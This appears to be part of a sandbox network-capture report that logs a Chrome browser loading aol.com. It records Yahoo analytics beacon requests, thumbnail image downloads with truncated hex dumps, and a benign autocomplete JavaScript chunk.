2024-05-23 22:34:46 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53712 Cache-Control: public, max-age=604800 Cache-Tag: 397222119743688046708885623724902591450,465469888903553321945808670550188595385,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000049-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:34:46 GMT Edge-Cache-Tag: 397222119743688046708885623724902591450,465469888903553321945808670550188595385,ae7a14591aaf8d474cdb3f92111c923e Etag: "79aab87c4d862190541fa781b46dd8ae" Expiration: expiry-date="Wed, 31 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 01 Feb 2024 07:23:26 GMT Server: ECAcc (lhd/35EC) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=32,height=32,bytes=1480,owidth=400,oheight=400,obytes=36183,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21925-LGA X-Timer: S1711265974.483537,VS0,VE1 Content-Length: 1480 Connection: close
2024-05-23 22:34:46 UTC	1480	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 03 03 03 03 03 03 04 04 04 04 05 05 05 05 05 07 07 06 06 07 07 0b 08 09 08 09 08 0b 11 0b 0c 0b 0b 0c 0b 11 0f 12 0f 0e 0f 12 0f 1b 15 13 13 15 1b 1f 1a 19 1a 1f 26 22 22 26 30 2d 30 3e 3e 54 01 03 03 03 03 03 03 04 04 04 04 05 05 05 05 05 07 07 06 06 07 07 0b 08 09 08 09 08 0b 11 0b 0c 0b 0b 0c 0b 11 0f 12 0f 0e 0f 12 0f 1b 15 13 13 15 1b 1f 1a 19 1a 1f 26 22 22 26 30 2d 30 3e 3e 54 ff c0 00 11 08 00 20 00 20 03 01 11 00 02 11 01 03 11 01 ff c4 00 79 00 01 01 01 00 03 00 00 00 00 00 00 00 00 00 00 00 08 06 01 03 04 07 10 00 02 01 03 03 04 03 01 01 00 00 00 00 00 00 00 01 02 03 04 05 06 00 11 61 07 12 31 41 13 21 22 14 32 01 00 02 02 03 01 00 00 00 00 00 00 00 00 00 00 00 05 07 00 Data Ascii: JFIF&""&0-0>>T&""&0-0>>T ya1A!"2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49850	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	767	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503684943&yhlClientVer=3.56.0&yhlRnd=2Bt3pQs7iUsSb8or&yhlCompressed=0 HTTP/1.1 Host: 3p-udc.yahoo.com Connection: keep-alive Content-Length: 2688 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:46 UTC	2688	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 48 62 45 54 32 59 43 45 4d 7a 34 30 33 57 51 4b 63 59 4e 69 49 77 76 72 41 75 70 31 69 4d 46 45 67 45 42 41 51 45 56 55 57 5a 5a 5a 74 77 72 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 6c 5a 45 52 58 34 66 77 2d 54 44 66 5a 76 46 35 56 66 55 77 46 67 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 36 2e 30 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 41 4e 41 4c 59 54 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.56.0%22%2C%22A_cn%22%3A%22ANALYT
2024-05-23 22:34:46 UTC	817	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.aol.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Thu, 23 May 2024 22:34:46 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIbET2YCEE2HV7A0Rp5Eu_VPsNgebHAFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAAov0ItHnW9PkAB2Diseg690; Expires=Sat, 24 May 2025 04:34:46 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49851	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	767	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503684945&yhlClientVer=3.56.0&yhlRnd=TlkvOsvPEYGRAY44&yhlCompressed=0 HTTP/1.1 Host: 3p-udc.yahoo.com Connection: keep-alive Content-Length: 3335 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:46 UTC	3335	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 48 62 45 54 32 59 43 45 4d 7a 34 30 33 57 51 4b 63 59 4e 69 49 77 76 72 41 75 70 31 69 4d 46 45 67 45 42 41 51 45 56 55 57 5a 5a 5a 74 77 72 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 6c 5a 45 52 58 34 66 77 2d 54 44 66 5a 76 46 35 56 66 55 77 46 67 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 36 2e 30 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 41 4e 41 4c 59 54 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.56.0%22%2C%22A_cn%22%3A%22ANALYT
2024-05-23 22:34:46 UTC	817	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.aol.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Thu, 23 May 2024 22:34:46 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIbET2YCEETVdpzxKBOM7_01Yk83W1sFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAAnk2-LJf_USJS8GOOtLWGFI; Expires=Sat, 24 May 2025 04:34:46 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49852	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	874	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503685233&yhlClientVer=3.56.0&yhlRnd=gLwYe9NlgbwIUYd9&yhlCompressed=3 HTTP/1.1 Host: 3p-udc.yahoo.com Connection: keep-alive Content-Length: 1706 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:46 UTC	1706	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 76 56 58 62 62 74 73 34 45 50 32 56 51 6b 42 32 58 30 4a 48 4e 39 74 53 67 48 31 51 57 32 65 33 32 7a 70 70 6b 36 61 58 4e 41 46 42 55 5a 54 4e 6d 68 49 46 69 72 4c 71 42 76 6e 33 7a 6c 43 71 32 36 54 42 76 68 54 59 46 34 6c 7a 5a 6a 53 63 4f 54 77 63 33 58 70 35 34 78 33 66 65 70 51 46 72 58 66 73 46 58 39 6c 62 37 4b 6e 54 25 32 46 25 32 46 4a 46 32 25 32 46 44 6a 38 38 57 79 36 25 32 42 78 48 37 31 25 32 46 38 35 4a 25 32 46 50 4a 55 76 25 32 42 71 33 4a 75 69 61 51 79 35 50 46 61 76 45 30 65 37 4e 34 64 25 32 46 6e 25 32 42 36 75 72 4b 39 73 61 58 79 34 79 4b 5a 5a 5a 6c 66 31 78 67 67 69 78 54 56 34 76 7a 44 33 48 5a Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'vVXbbts4EP2VQkB2X0JHN9tSgH1QW2e32zppk6aXNAFBUZTNmhIFirLqBvn3zlCq26TBvhTYF4lzZjScOTwc3Xp54x3fepQFrXfsFX9lb7KnT%2F%2FJF2%2FDj88Wy6%2BxH71%2F85J%2FPJUv%2Bq3JuiaQy5PFavE0e7N4d%2Fn%2B6urK9saXy4yKZZZlf1xggixTV4vzD3HZ
2024-05-23 22:34:46 UTC	817	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.aol.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Thu, 23 May 2024 22:34:46 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:34:46 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49853	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	701	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FyA3tBjYEAJYS_q11bBVHjg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181214%2F500x500%2Fpacers_wbg.png&client=76f99bdb8f78cd44cc0b&signature=e68c4630c61600d47c8b52248989eab478a80807 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:47 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53694 Cache-Control: public, max-age=2592000 Cache-Tag: 299233884771220162348710421289867129232,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21926-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 135 Content-Type: image/png Date: Thu, 23 May 2024 22:34:47 GMT Edge-Cache-Tag: 299233884771220162348710421289867129232,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "e1659a010543d3c34b4f66a24f826f40" Expiration: expiry-date="Tue, 16 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 17 Jan 2024 18:55:49 GMT Server: ECAcc (lhd/35ED) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1793,owidth=50,oheight=50,obytes=2022,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000169-IAD X-Timer: S1711265994.582975,VS0,VE1 Content-Length: 1793 Connection: close
2024-05-23 22:34:47 UTC	1793	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c be c0 c1 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 bf bf c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 bf bf c3 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 bc be c1 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be bf c2 be c0 c2 be c0 c2 be c0 c2 be Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49857	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:47 UTC	927	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FLaVK5.znBhNMAKDUJz1a2g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181030%2F500x500%2Fceltics_wbg.png&client=76f99bdb8f78cd44cc0b&signature=9ca02475456bf5ddb0d57685bd4170c582005b73 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:47 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2127265 Cache-Control: public, max-age=2592000 Cache-Tag: 496266717906369093199617723782445329917,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000111-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 42 Content-Type: image/png Date: Thu, 23 May 2024 22:34:47 GMT Edge-Cache-Tag: 496266717906369093199617723782445329917,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "6d934474b3e355893e0271151804839b" Expiration: expiry-date="Sat, 31 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sun, 03 Mar 2024 04:16:26 GMT Server: ECAcc (lhd/370D) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2581,owidth=50,oheight=50,obytes=4621,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21938-LGA X-Timer: S1711179622.193179,VS0,VE1 Content-Length: 2581 Connection: close
2024-05-23 22:34:47 UTC	2581	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 f4 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff f5 f6 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fc fc ec ee ee ff ff ff ed ee ef ff ff ff ff ff ff f8 f9 f9 ff ff ff f2 f3 f3 ff ff ff ff ff ff fe ff ff fe fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 82 48 05 18 21 06 19 21 a7 37 32 e7 e8 e9 c4 c7 c8 a7 ad b0 00 7f 47 b9 bd be cf d2 d3 02 69 3f 9e a4 a7 97 9f a1 ad b2 b4 00 7b 45 01 72 42 e1 e4 e5 cb cf d0 07 4c 36 23 4f 46 d3 d5 d6 02 59 39 d9 ec e3 86 Data Ascii: PNGIHDR22)xPLTEGpLH!!72Gi?{ErBL6#OFY9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49860	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:47 UTC	554	OUT	GET /aaq/wf/wf-autocomplete-1.31.8-6d742e966c.chunk.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:47 UTC	861	IN	HTTP/1.1 200 OK x-amz-id-2: B9ADCO8naJhE4u7joSN38wbJINnqDp5cJiwt+LXZeXfeumYAfPn3nzGHf1hVH7FFbS7mHV4wAYg2WmzTUVF7zVZW+SfpPCFBznoO91CrJe4= x-amz-request-id: SDGHZ943RWS2YG2T Date: Thu, 23 May 2024 08:10:03 GMT Last-Modified: Mon, 04 Dec 2023 12:09:37 GMT ETag: "d1360a16026c224f7dd9d13ac565d5ad" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: ssdoOsvvjWEangqcrVpxW.UjX1059Ev3 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8064 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 51886 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 77 65 62 70 61 63 6b 4a 73 6f 6e 70 77 61 66 65 72 5f 77 61 66 65 72 73 5f 77 61 66 65 72 5f 61 75 74 6f 63 6f 6d 70 6c 65 74 65 28 5b 30 5d 2c 7b 22 2e 2f 73 72 63 2f 74 79 70 65 73 20 72 65 63 75 72 73 69 76 65 20 5e 5c 5c 2e 5c 5c 2f 2e 2a 24 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 73 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 72 65 74 75 72 6e 20 73 28 72 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 76 61 72 20 74 3d 69 5b 65 5d 3b 69 66 28 21 28 74 2b 31 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 6d 6f 64 75 6c 65 20 27 22 2b 65 2b 22 27 2e 22 29 3b 72 65 74 75 72 6e 20 74 7d 76 61 72 20 69 3d 7b 22 2e 2f 61 6f 6c 2d 6c 6f 63 61 74 69 6f 6e 22 3a 22 2e 2f 73 72 63 2f 74 79 70 65 Data Ascii: webpackJsonpwafer_wafers_wafer_autocomplete([0],{"./src/types recursive ^\\.\\/.*$":function(e,t,s){function a(e){return s(r(e))}function r(e){var t=i[e];if(!(t+1))throw new Error("Cannot find module '"+e+"'.");return t}var i={"./aol-location":"./src/type
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 6c 5d 7d 72 65 74 75 72 6e 20 6f 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 74 3d 65 2e 63 69 74 79 2c 61 3d 65 2e 63 6f 75 6e 74 72 79 2c 69 3d 65 2e 64 69 73 70 6c 61 79 5f 6e 61 6d 65 2c 6f 3d 65 2e 66 75 6c 6c 5f 64 69 73 70 6c 61 79 5f 6e 61 6d 65 2c 6c 3d 65 2e 6e 2c 75 3d 65 2e 71 75 61 6c 69 66 69 65 64 4e 61 6d 65 2c 63 3d 65 2e 73 74 61 74 65 63 6f 64 65 2c 64 3d 65 2e 77 6f 65 69 64 2c 70 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 2c 6d 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 22 29 2c 66 3d 6f 7c 7c 69 Data Ascii: l]}return o.forEach(function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.city,a=e.country,i=e.display_name,o=e.full_display_name,l=e.n,u=e.qualifiedName,c=e.statecode,d=e.woeid,p=arguments[1],m=document.createElement("li"),f=o\|\|i
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 3d 69 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 30 29 2c 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 6f 70 74 69 6f 6e 22 29 2c 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 22 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 72 65 73 75 6c 74 2d 22 2b 6c 2b 22 2d 22 2b 6d 29 3b 76 61 72 20 67 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 67 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 69 74 65 6d 22 29 2c 67 2e 73 65 74 41 74 74 72 Data Ascii: =i.toUpperCase()){var b=document.createElement("li");b.setAttribute("tabindex",0),b.setAttribute("role","option"),b.setAttribute("id","wf-autocomplete-result-"+l+"-"+m);var g=document.createElement("a");g.classList.add("wafer-autocomplete-item"),g.setAttr
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 46 72 61 67 6d 65 6e 74 28 29 2c 63 3d 30 3b 63 3c 69 2e 6c 65 6e 67 74 68 26 26 63 3c 35 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 69 5b 63 5d 2c 70 3d 64 2e 74 69 74 6c 65 2c 6d 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 22 29 3b 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 30 29 2c 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 6f 70 74 69 6f 6e 22 29 2c 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 22 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 72 65 73 75 6c 74 2d 22 2b 6f 2b 22 2d 22 2b 63 29 3b 76 61 72 20 66 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 66 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 Data Ascii: Fragment(),c=0;c<i.length&&c<5;c++){var d=i[c],p=d.title,m=document.createElement("li");m.setAttribute("tabindex",0),m.setAttribute("role","option"),m.setAttribute("id","wf-autocomplete-result-"+o+"-"+c);var f=document.createElement("a");f.classList.add("
